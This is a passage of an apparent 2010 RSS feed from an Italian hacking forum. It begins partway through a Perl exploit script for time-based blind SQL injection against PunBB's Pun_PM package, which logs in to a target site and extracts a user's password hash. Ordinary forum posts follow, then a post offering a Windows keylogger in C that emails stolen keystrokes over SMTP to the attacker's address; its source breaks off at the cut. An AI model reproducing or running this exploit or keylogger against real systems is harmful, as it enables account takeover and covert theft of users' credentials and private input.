&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;csrf_token = &#36;1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;Login = &#36;HTTP-&gt;post(&#36;Host.'login.php',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;form_sent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; '1',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;redirect_url&nbsp;&nbsp;&nbsp;&nbsp;=&gt; &#36;Host.'login.php',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;csrf_token&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; &#36;csrf_token,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;req_username&nbsp;&nbsp;&nbsp;&nbsp;=&gt; &#36;UserName,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;req_password&nbsp;&nbsp;&nbsp;&nbsp;=&gt; &#36;PassWord,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;save_pass&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; '1',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;login =&gt; 'Login',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]) || die &#36;!;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;Login-&gt;content =~ /Verrai trasferito automaticamente ad una nuova pagina in 1 secondo/i) { #English Language: You should automatically be forwarded to a new page in 1 second.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
<br />
sub usage {<br />
&nbsp;&nbsp;&nbsp;&nbsp;Clear();<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " &#92;n [0-Day] PunBB &lt;= 1.3.4 Package: Pun_PM &lt;= v1.2.6 Remote Blind SQL Injection Exploit&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * USAGE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * cd [Local Disk]:&#92;&#92;[Directory Of Exploit]&#92;&#92;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * perl name_exploit.pl [username] [password] [id]&nbsp;&nbsp;&nbsp;&nbsp;*&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * [proxy] is optional (ex: 151.57.4.97:8080)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Powered By Dante90, WaRWolFz Crew&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;};<br />
&nbsp;&nbsp;&nbsp;&nbsp;exit;<br />
}<br />
<br />
sub refresh {<br />
&nbsp;&nbsp;&nbsp;&nbsp;Clear();<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " &#92;n [0-Day] PunBB &lt;= 1.3.4 Package: Pun_PM &lt;= v1.2.6 Remote Blind SQL Injection Exploit&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * USAGE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * cd [Local Disk]:&#92;&#92;[Directory Of Exploit]&#92;&#92;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * perl name_exploit.pl [username] [password] [id]&nbsp;&nbsp;&nbsp;&nbsp;*&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * [proxy] is optional (ex: 151.57.4.97:8080)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Powered By Dante90, WaRWolFz Crew&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;};<br />
&nbsp;&nbsp;&nbsp;&nbsp;print &#36;_[0] ."&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * Victime Site: " . &#36;_[1] . "&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * Default Time: " . &#36;_[2] . " seconds&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * BruteForcing Hash: " . chr(&#36;chars[&#36;_[3]]) . "&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * BruteForcing N Char Hash: " . &#36;_[6] . "&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * SQL Time: " . &#36;_[5] . " seconds&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * Hash: " . &#36;_[4] . "&#92;n";<br />
}<br />
<br />
sub Main(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (Login() == 1) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Message = " * Logged in as: ".&#36;UserName;<br />
&nbsp;&nbsp;&nbsp;&nbsp;} elsif (Login() == 0) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Message = " * Login Failed.";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;refresh(&#36;Message, &#36;Host, &#36;DefaultTime, "0", &#36;Hash, &#36;Time, "1");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * Exploit Failed&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;for (my &#36;I=1; &#36;I&lt;=40; &#36;I++) { #N Hash characters<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (my &#36;J=0; &#36;J&lt;=15; &#36;J++) { #0 -&gt; F<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time_Start = time();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;my &#36;Get1 = &#36;HTTP-&gt;get(&#36;Host.Blind_SQL_Jnjection(&#36;I,&#36;chars[&#36;J]));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time_End = time();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time = request(&#36;Referrer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;refresh(&#36;Message, &#36;Host, &#36;DefaultTime, &#36;J, &#36;Hash, &#36;Time, &#36;I);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;Time_End - &#36;Time_Start &gt; 6) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time = request(&#36;Referrer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;refresh(&#36;Message, &#36;Host, &#36;DefaultTime, &#36;J, &#36;Hash, &#36;Time, &#36;I);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;Time_End - &#36;Time_Start &gt; 6) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;syswrite(STDOUT,chr(&#36;chars[&#36;J]));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Hash .= chr(&#36;chars[&#36;J]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time = request(&#36;Referrer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;refresh(&#36;Message, &#36;Host, &#36;DefaultTime, &#36;J, &#36;Hash, &#36;Time, &#36;I);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;last;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;I == 1 &amp;&amp; length &#36;Hash &lt; 1 &amp;&amp; !&#36;Hash) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * Exploit Failed&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;I == 40) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * Exploit Successfully Executed&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------&#92;n ";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system("pause");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
<br />
Main();<br />
<br />
#WaRWolFz Crew</code></div></div>
<br />
Dante]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[Monitor-Tv-Lcd&#93; Schermo Nero Dopo Qualche Secondo.]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17130</link>
			<pubDate>Tue, 27 Jul 2010 10:55:35 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17130</guid>
			<description><![CDATA[Ciao a tutti, ho un problema penso serio con il Samsung Sync Master 932mw (multifunzione: lcd-tv-monitor).<br />
Praticamente quando lo accendo lo schermo rimane acceso qualche secondo (vedo tipo il messaggio "segnale assente" se non attacco nulla) poi si spegne (schermo nero). Però il led blu sul pulsante di accensione rimane acceso.<br />
<br />
Grazie<br />
Spero in un vostro aiuto.]]></description>
			<content:encoded><![CDATA[Ciao a tutti, ho un problema penso serio con il Samsung Sync Master 932mw (multifunzione: lcd-tv-monitor).<br />
Praticamente quando lo accendo lo schermo rimane acceso qualche secondo (vedo tipo il messaggio "segnale assente" se non attacco nulla) poi si spegne (schermo nero). Però il led blu sul pulsante di accensione rimane acceso.<br />
<br />
Grazie<br />
Spero in un vostro aiuto.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[StarCraft II]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17129</link>
			<pubDate>Tue, 27 Jul 2010 09:05:20 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17129</guid>
			<description><![CDATA[Da oggi è disponibile StarCraft II<br />
<br />
Ciauz]]></description>
			<content:encoded><![CDATA[Da oggi è disponibile StarCraft II<br />
<br />
Ciauz]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[js&#93;scaricamento automatico]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17127</link>
			<pubDate>Mon, 26 Jul 2010 17:10:17 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17127</guid>
			<description><![CDATA[ciao ragazzi<br />
<br />
vorrei sapere se è possibile scrivere uno script in modo che visitando una pagina dove esso è contenuto permette il collegamento e quindi lo scaricamento automatico(senza che l'utente clicchi su qualche apposito link) di un programma.]]></description>
			<content:encoded><![CDATA[ciao ragazzi<br />
<br />
vorrei sapere se è possibile scrivere uno script in modo che visitando una pagina dove esso è contenuto permette il collegamento e quindi lo scaricamento automatico(senza che l'utente clicchi su qualche apposito link) di un programma.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Macro semplice semplice]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17126</link>
			<pubDate>Sun, 25 Jul 2010 22:12:35 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17126</guid>
			<description><![CDATA[Raga non sapevo proprio dove aprire questa discussione quindi l'ho aperta qua, in caso spostate!<br />
Mi serve un programma per creare una macro (a mio parere) molto semplice cioè di premere i tasti " f1 ; 2 ; 1 " ho provato actool ma non mi funziona sulla finestra su quale voglio scrivere ma solo sui file di scrittura, ho anche provato hotkey ma non ho ben capito come funziona. Quindi vi chiedi di consigliami un bel programma per creare la macro che vi ho detto sopra e se già lo avete provato di farmi lo script, grazie!<br />
EDIT.ora che ci penso non è tanto semplice perchè tra una sequenza e l'altra ci deve lasciare 4-5 secondi!]]></description>
			<content:encoded><![CDATA[Raga non sapevo proprio dove aprire questa discussione quindi l'ho aperta qua, in caso spostate!<br />
Mi serve un programma per creare una macro (a mio parere) molto semplice cioè di premere i tasti " f1 ; 2 ; 1 " ho provato actool ma non mi funziona sulla finestra su quale voglio scrivere ma solo sui file di scrittura, ho anche provato hotkey ma non ho ben capito come funziona. Quindi vi chiedi di consigliami un bel programma per creare la macro che vi ho detto sopra e se già lo avete provato di farmi lo script, grazie!<br />
EDIT.ora che ci penso non è tanto semplice perchè tra una sequenza e l'altra ci deve lasciare 4-5 secondi!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[php&#93; Browsergame in sviluppo]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17125</link>
			<pubDate>Fri, 23 Jul 2010 22:36:16 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17125</guid>
			<description><![CDATA[E salve ragazzi, negli ultimi mesi mi sono fissato di voler programmare un browser game con delle palle talmente gradi da sfondare la sedia..!<br />
<br />
Dopo alcuni mesi di lavori estenuanti, il 99.9999% del lavoro tutto da solo, mi sono accorto di aver perso ormai anche i denti! E' diventato troppo grande come progetto da portare avanti da solo... quindi... mi stavo chiedendo.. se qualcuno è disposto a portate avanti questo progetto con me.. Ci sono alcuni punti da <span style="text-decoration: underline;">sottolineare</span>..<br />
<br />
1) Il progetto è serio, e gratuito, ma <span style="font-style: italic;">punto</span> cmq a guadagnarci (pubblicità e account premium)<br />
<br />
2) Il compare che mi aiuterà, non lavora per beneficenza, ma riceverà una retribuzione in <a href="http://www.google.it/images?hl=it&amp;q=cash&amp;um=1&amp;ie=UTF-8&amp;source=og&amp;sa=N&amp;tab=wi" target="_blank">Ca&#36;h</a> in base al lavoro svolto (dai ricavi utili)..<br />
<br />
Che titolo ha? Di che parla?<br />
Titolo? non ne ha...<br />
E' un RPG Fantasy (credo <img src="http://www.infernet.ws/images/smilies/asd.gif" style="vertical-align: middle;" border="0" alt="asd" title="asd" /> ) in pratica hai il tuo pg e puoi scorrazzare tra vari luoghi, uccidere creature, guadagnare, fare carriera, puzzare, mangiare, uccidere amici... e ogni tanto cè anche qualche chat pulciosa (in ajax èèè xD)..<br />
<br />
Evitiamo di confonderci, non è un RPG basato sulla Chat di gruppo (mi fanno deprimere <img src="http://www.infernet.ws/images/smilies/confused.gif" style="vertical-align: middle;" border="0" alt="Confused" title="Confused" />)..<br />
<br />
*La programmazione utilizzata non è ad oggetti..<br />
<img src="http://www.infernet.ws//images/smilies/set1/lurkmg.gif" style="vertical-align: middle;" border="0" alt="Lurkmg" title="Lurkmg" /> èh non l'ho ancora imparata..<br />
<br />
che altro dire... per ora ho bisogno di aiuto sia pratico che teorico sulle battaglie, devono essere capaci di supportare scontri sia contro creature sia in PvP, in più il player ha la possibilità di utilizzare Spell e Oggetti..<br />
Quelle che ho scriptato io non sono la fine del mondo.. ho speso la metà del tempo solo su di esse, mi fanno solo bestemmiare..<br />
A chi interessa mostro altri dettagli..<br />
Questa è una prova del BG [ <a href="http://www.bestkill.org/game/" target="_blank">non sono spam!</a> &#93; non è l'ultima versione..  (alcune immagini credo non si visualizzino, scusate errori ortografici e magari di codifica)...!<br />
*Non fate commenti sulla grafica*<br />
<br />
Un saluto dal pazzo trigge.]]></description>
			<content:encoded><![CDATA[E salve ragazzi, negli ultimi mesi mi sono fissato di voler programmare un browser game con delle palle talmente gradi da sfondare la sedia..!<br />
<br />
Dopo alcuni mesi di lavori estenuanti, il 99.9999% del lavoro tutto da solo, mi sono accorto di aver perso ormai anche i denti! E' diventato troppo grande come progetto da portare avanti da solo... quindi... mi stavo chiedendo.. se qualcuno è disposto a portate avanti questo progetto con me.. Ci sono alcuni punti da <span style="text-decoration: underline;">sottolineare</span>..<br />
<br />
1) Il progetto è serio, e gratuito, ma <span style="font-style: italic;">punto</span> cmq a guadagnarci (pubblicità e account premium)<br />
<br />
2) Il compare che mi aiuterà, non lavora per beneficenza, ma riceverà una retribuzione in <a href="http://www.google.it/images?hl=it&amp;q=cash&amp;um=1&amp;ie=UTF-8&amp;source=og&amp;sa=N&amp;tab=wi" target="_blank">Ca&#36;h</a> in base al lavoro svolto (dai ricavi utili)..<br />
<br />
Che titolo ha? Di che parla?<br />
Titolo? non ne ha...<br />
E' un RPG Fantasy (credo <img src="http://www.infernet.ws/images/smilies/asd.gif" style="vertical-align: middle;" border="0" alt="asd" title="asd" /> ) in pratica hai il tuo pg e puoi scorrazzare tra vari luoghi, uccidere creature, guadagnare, fare carriera, puzzare, mangiare, uccidere amici... e ogni tanto cè anche qualche chat pulciosa (in ajax èèè xD)..<br />
<br />
Evitiamo di confonderci, non è un RPG basato sulla Chat di gruppo (mi fanno deprimere <img src="http://www.infernet.ws/images/smilies/confused.gif" style="vertical-align: middle;" border="0" alt="Confused" title="Confused" />)..<br />
<br />
*La programmazione utilizzata non è ad oggetti..<br />
<img src="http://www.infernet.ws//images/smilies/set1/lurkmg.gif" style="vertical-align: middle;" border="0" alt="Lurkmg" title="Lurkmg" /> èh non l'ho ancora imparata..<br />
<br />
che altro dire... per ora ho bisogno di aiuto sia pratico che teorico sulle battaglie, devono essere capaci di supportare scontri sia contro creature sia in PvP, in più il player ha la possibilità di utilizzare Spell e Oggetti..<br />
Quelle che ho scriptato io non sono la fine del mondo.. ho speso la metà del tempo solo su di esse, mi fanno solo bestemmiare..<br />
A chi interessa mostro altri dettagli..<br />
Questa è una prova del BG [ <a href="http://www.bestkill.org/game/" target="_blank">non sono spam!</a> ] non è l'ultima versione..  (alcune immagini credo non si visualizzino, scusate errori ortografici e magari di codifica)...!<br />
*Non fate commenti sulla grafica*<br />
<br />
Un saluto dal pazzo trigge.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[C&#93; Keylogger (windows)]]></title>
			<link>http://www.infernet.ws/showthread.php?tid=17124</link>
			<pubDate>Fri, 23 Jul 2010 18:55:32 +0200</pubDate>
			<guid isPermaLink="false">http://www.infernet.ws/showthread.php?tid=17124</guid>
			<description><![CDATA[Qualche giorno di noia e ho sfornato questo keylogger, sembra funzionare perfettamente tranne per un piccolo incovenite: le mail vengono individuate come spam e archiviate in posta indesiderata.<br />
Mi sembra di aver scritto codice abbastanza leggibile ma se avete domande chiedete pure.<br />
<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#define IP "85.18.95.132" // mail server (smtp.fastwebnet.it) <br />
#define DOOR 25 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// SMTP door<br />
<br />
#define FROM "shifterskeylogger@stealingdata.net"<br />
#define TO "binaryincubus@live.it" // Here your mail<br />
#define SUBJECT "Stealed Data"<br />
<br />
#define _MAX_CHAR 500</code></div></div>
Fra le prime righe potete scegliere che server smtp utilizzare mentre subito dopo potete configurarlo perché mandi alla vostra mail i log. Il buffer viene inviato ogni 500 caratteri ma potete alzarlo o abbassarlo secondo le vostre preferenze.<br />
<br />
Vi ricordo che dovete aggiungere le dipendenze delle winsock al compilatore:<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>-lwsock32</code></div></div>
Have fun <img src="http://www.infernet.ws/images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" /><br />
<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
<br />
#if defined ( unix )<br />
&nbsp;&nbsp;&nbsp;&nbsp;#error The operative system have to be Winzoz<br />
#endif<br />
<br />
#include &lt;windows.h&gt;<br />
<br />
#ifndef WIN32_LEAN_AND_MEAN<br />
&nbsp;&nbsp;&nbsp;&nbsp;#define WIN32_LEAN_AND_MEAN<br />
#endif<br />
<br />
